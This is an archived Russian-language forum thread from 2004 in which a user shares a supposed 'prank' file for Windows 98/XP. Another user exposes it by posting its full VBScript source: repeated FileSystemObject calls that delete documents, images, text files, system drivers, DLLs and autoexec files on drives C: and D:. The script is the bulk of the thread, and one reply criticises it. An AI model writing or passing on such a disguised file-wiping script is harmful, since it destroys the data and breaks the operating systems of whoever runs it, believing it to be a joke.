PDA

Просмотр полной версии : Прикол Не для всех

Тарифы: МТС, Билайн, МегаФон
Выгодные непубличные тарифы МТС, Билайн, МегаФон, Безлимитный интернет ✅
__DeNN__
23-05-2004, 18:23
Вот я тут прикольчик сделал (под 98 и xp точно катят) запускаешь ждешь пока загрузится и угараешь )))
__DeNN__
23-05-2004, 19:49
исправил ошибку
__DeNN__
23-05-2004, 20:12
у меня работал сам проверял
Мирддин
23-05-2004, 21:23
блин я чето и не понял в натуре - не работает, блин
я его запустил у мня чево-то мигнуло моргнуло в компе и сообщение о том что твой файл проанализирован, скопирован for collection и уничтожен, а почему так - даже и не знаю, там ведь ниче вроде ж такого не было?!?
__DeNN__
23-05-2004, 21:52
И все ??)
sunlife
28-05-2004, 20:30
А помоему очень забавно, конечно не угараешь, но смеёшься долго :)

Хочу ещё что-нибудь.
__DeNN__
30-05-2004, 22:48
У тебя все получилось ?
Скользящий в сумраке
30-05-2004, 22:56
а у меня *.вбс не работают.
PaXaN
30-05-2004, 23:02
ни работет ни хрена, ошибка мля...
Blaq
31-05-2004, 00:13
очень смешно бля!

Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\windows\*.cpe")


Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\windows\*.dat")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\Мои документы\*.doc")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\Мои документы\*.html")


Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\windows\*.swp")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\windows\*.bak")

Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\autoexec.*")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\*.tmp")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\Мои документы\*.txt")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\Мои документы\*.jpg")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\Мои документы\*.gif")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\windows\generic.cpe")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\windows\hh.*")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\Мои документы\*.gif")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\windows\*.dat")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\Мои документы\*.doc")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\Мои документы\*.jpg")


Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\windows\*.swp")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\windows\*.bak")

Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\autoexec.*")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\*.tmp")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\Мои документы\*.txt")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\Мои документы\*.bmp")

Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("с:\windows\system32\drivers\*.*")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\windows\system32\drivers\*.*")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\windows\*.bak")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\windows\system\*.dll")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\windows\system\*.dll")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\*.tmp")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("d:\Мои документы\*.txt")
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\winamp\*.*")
Еже
31-05-2004, 00:23
Ну чтож, молодчина, научился пользоваться wsh, поздравляю. Только какая-то странная тяга к деструктивным действиям, если только помогает самоутрвердиться, правда в будущем за такое самоутверждение будут бить по прыщавой мордашке, грязным тапком.